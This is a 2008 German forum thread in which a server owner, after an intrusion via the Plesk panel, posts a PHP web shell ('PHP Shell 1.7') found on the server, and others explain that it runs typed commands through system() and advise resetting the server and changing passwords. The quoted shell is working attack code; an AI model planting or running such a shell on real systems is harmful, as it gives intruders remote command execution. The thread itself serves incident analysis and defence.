Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Programmieren allgemein (https://www.delphipraxis.net/40-programmieren-allgemein/)
-   -   [PHP] Scriptvirus von Hacker auf meinen Server gelegt? (https://www.delphipraxis.net/119569-%5Bphp%5D-scriptvirus-von-hacker-auf-meinen-server-gelegt.html)

Chrissi91 28. Aug 2008 12:30


[PHP] Scriptvirus von Hacker auf meinen Server gelegt?
 
Liste der Anhänge anzeigen (Anzahl: 1)
Hallo,

ich habe einen Managed vServer bei Netclusive, sprich Netclusive ist für die Sicherheitsupdates & Co verantwortlich. ;)

Gestern Abend frage ich meine E-Mails ab und just in dem Moment trudelt eine Mail vom Virtuozzo Plesk Panel ein, dass ein neuer Client (Kunde) eingerichtet wurde namens aba und einer Domain tst.com

Ich kurz vor dem Herzinfarkt :mrgreen:, logge mich ein und sehe unter Sessions, dass sich jemand als Admin eingeloggt hat. Die IP stammte aus Spanien (67.***.**.** oder so)

Ich habe ihn also gekickt (nachdem er laut Angaben von Plesk schon 27 Minuten eingeloggt war). Nach 5 Sekunden war er wieder drin.

Ich richte daraufhin eine IP-Sperre für alle ein, abgesehen von meiner IP-Range. Soweit so gut. Überltäter kam nicht mehr wieder. Habe die eingetragenen Domains und Clients gelöscht.

Ich bemerkte eben, dass manche Services des Servers nicht mehr gingen. Hab eine Menge rumgeschraubt, ging aber trotzdem nicht. Ich will also VPS neuinstallieren, ziehe nochmal ein Backup und sehe da im Stammverzeichnis eine cgi.php mit folgendem Code:

Code:
<?php
define('PHPSHELL_VERSION', '1.7');
?>
<html>
<head>
<title>PHP Shell <?php echo offender ?></title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1250"></head>
<body>
<style>
body{
   background-color: #000000;
   font-family : sans-serif;
   font-size : 13px;
   scrollbar-face-color: #00FF00;
   scrollbar-shadow-color: #E4317F;
   scrollbar-highlight-color: #FF0000;
   scrollbar-3dlight-color: #806517;
   scrollbar-darkshadow-color: #254117;
   scrollbar-track-color: #254117;
   scrollbar-arrow-color: #736AFF;
}
input,select,option{
   background-color: #000000;
   color : #00FF00;
   border-style : solid;
   font-size : 13px;
}
textarea{
   background-color: #000000;
   color : #00FF00;
   border-style : dotted;
   font-size : 13px;
}
</style>
<body bgcolor=#000000 TEXT=#00ff00 Link=Red vLink=Gray aLink=Aqua background="back.gif"></BODY></HTML>
<h1>PHP Shell <?php echo offender ?></h1>
<?php
if (ini_get('register_globals') != '1') { 
  /* We'll register the variables as globals: */ 
  if (!empty($HTTP_POST_VARS))
    extract($HTTP_POST_VARS);
   
  if (!empty($HTTP_GET_VARS))
    extract($HTTP_GET_VARS);
  if (!empty($HTTP_SERVER_VARS))
    extract($HTTP_SERVER_VARS);

/* First we check if there has been asked for a working directory. */ 
if (!empty($work_dir)) { 
  /* A workdir has been asked for */ 
  if (!empty($command)) { 
    if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { 
      /* We try and match a cd command. */ 
      if ($regs[1][0] == '/') { 
        $new_dir = $regs[1]; // 'cd /something/...'
      } else { 
        $new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...'
      } 
      if (file_exists($new_dir) && is_dir($new_dir)) { 
        $work_dir = $new_dir;
      } 
      unset($command);
    } 
  } 

if (file_exists($work_dir) && is_dir($work_dir)) { 
  /* We change directory to that dir: */ 
  chdir($work_dir);

/* We now update $work_dir to avoid things like '/foo/../bar': */ 
$work_dir = exec('pwd');
?>
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">


Current working directory: [b]
<?php
$work_dir_splitted = explode('/', substr($work_dir, 1));
echo '[url="' . $PHP_SELF . '?work_dir=/"]Root[/url]/';
if (!empty($work_dir_splitted[0])) { 
  $path = '';
  for ($i = 0; $i < count($work_dir_splitted); $i++) { 
    $path .= '/' . $work_dir_splitted[$i];
    printf('[url="%s?work_dir=%s"]%s[/url]/',
           $PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
  } 

?>[/b]</p>


Choose new working directory:
<select name="work_dir" onfiltered="this.form.submit()">
<?php
/* Now we make a list of the directories. */ 
$dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */ 
while ($dir = readdir($dir_handle)) { 
  if (is_dir($dir)) { 
    if ($dir == '.') { 
      echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
    } elseif ($dir == '..') { 
      /* We have found the parent dir. We must be carefull if the parent
     directory is the root directory (/). */ 
      if (strlen($work_dir) == 1) { 
    /* work_dir is only 1 charecter - it can only be / There's no
          parent directory then. */ 
      } elseif (strrpos($work_dir, '/') == 0) { 
    /* The last / in work_dir were the first charecter.
       This means that we have a top-level directory
       eg. /bin or /home etc... */ 
      echo "<option value=\"/\">Parent Directory</option>\n";
      } else { 
      /* We do a little bit of string-manipulation to find the parent
     directory... Trust me - it works :-) */ 
      echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
      } 
    } else { 
      if ($work_dir == '/') { 
    echo "<option value=\"$work_dir$dir\">$dir</option>\n";
      } else { 
    echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
      } 
    } 
  } 

closedir($dir_handle);
?>
</select></p>


Command: <input type="text" name="command" size="60">
<input name="submit_btn" type="submit" value="Execute Command"></p>


Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p>
<textarea cols="80" rows="20" readonly>
<?php
if (!empty($command)) { 
  if ($stderr) { 
    $tmpfile = tempnam('/tmp', 'phpshell');
    $command .= " 1> $tmpfile 2>&1; " .
    "cat $tmpfile; rm $tmpfile";
  } else if ($command == 'ls') { 
    /* ls looks much better with ' -F', IMHO. */ 
    $command .= ' -F';
  } 
  system($command);

?>
Laut AntiVir ein PHP Scriptvirus. Kann mir jemand genaueres sagen? Was bezweckt dieser Code? Meinen Hoster habe ich schon informiert, die konnten aber keinen dokumentierten Angriff aus Spanien finden. Und mein Passwort sollte wirklich lang genug sein und auch sicher genug.

Ich habe es jetzt geändert, aber mich würde schon interessieren, warum irgendjemand einen angelichen "PHP Scriptvirus" auf den Server hochlädt. Die Datei wurde nichtmal verlinkt, sodass sie aufgerufen wurde. Und warum wurde die Domain tst.com auf meinen Namen eingetragen?

P.S.: Habe den Code mal genauer angesehen. Kann es sein, dass er einfach ein Edit anzeigt und er darüber Befehle eingeben kann, die ausgeführt werden?

P.P.S.: Im Anhang mal ein Screen der Datei (ist natürlich nicht mehr auf dem Server). Sieht so aus als hätte ich Recht gehabt!

Matze 28. Aug 2008 13:21

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?
 
Hallo

Zitat:

Zitat von Chrissi91
P.S.: Habe den Code mal genauer angesehen. Kann es sein, dass er einfach ein Edit anzeigt und er darüber Befehle eingeben kann, die ausgeführt werden?

Sieht für mich ganz danach aus. Solche Versuche werden sehr häufig gemacht.

Du solltest dir Gedanken machen wie die Datei auf deinen Server gekommen ist und wie der Unbekannte Domains etc. anlegen konnte. Denn wenn du dies nicht ausfindig machst, kann und wird dir dies immer wieder passieren. Deine Passwörter solltest du auf alle Fälle ändern. Landet der Benutzer dann weiterhin auf deinem Server, muss eine Sicherheitslücke im System/deinen Skripten vorliegen.

Viel Erfolg.

Grüße

Torpedo 28. Aug 2008 13:27

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?
 
Zitat:

Zitat von Chrissi91
ich habe einen Managed vServer bei Netclusive, sprich Netclusive ist für die Sicherheitsupdates & Co verantwortlich. ;)

Die sind zwar für die Sicherheit deines Systems verantwortlich, aber nicht für die Sicherheit deiner Scripts. Das klingt nach Remote File Inclusion. Also jemand hat über einen Fehler in einem Script ein anderes Script von einem anderen Server nachgeladen, welches diese Datei erstellt haben könnte.

Chrissi91 28. Aug 2008 13:34

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?
 
Hm. Schon möglich. Aber ich glaube etwas anderes:

Er war im Plesk-Panel und von dort aus kann er natürlich aufs FTP zugreifen. Mit dem Einbinden von Dateien würde er es doch nicht schaffen ins Plesk zu kommen. Und dort war er nachweislich. Und wenn er dort ist, kann er ja wiegesagt ans FTP kommen, etc. Halt überall hin ...

Matze 28. Aug 2008 13:50

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?
 
Daher meine ich, dass du erstmal deine Zugangsdaten ändern sollst. Vielleicht hat der Angreifer lediglich gültige ermitteln können.

Grüße

Chrissi91 28. Aug 2008 16:19

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?
 
Naja ... das sagst du so einfach. Konnte ich zwar größtenteils machen, aber nicht überall. Beim Plesk gabs PRobleme. Das funktioniert absolut nicht mehr. Ich kann nicht mal mehr ins Plesk.

Habe meinem Provider gesagt, er solle alles zurücksetzen auf den Anfangszustand, als ich den vServer gemietet habe. Ist das allereinfachste.

Matze 28. Aug 2008 17:08

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?
 
Das wäre das beste, richtig. Dann ein Backup einspielen, das vor dem "Angriff" erstellt wurde, damit du sicher sein kannst, dass nur das auf dem Server ist, was da auch sein soll.

Das Passwort oder mehrere kannst du gleich darauf ja noch ändern.


Alle Zeitangaben in WEZ +1. Es ist jetzt 08:29 Uhr.

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz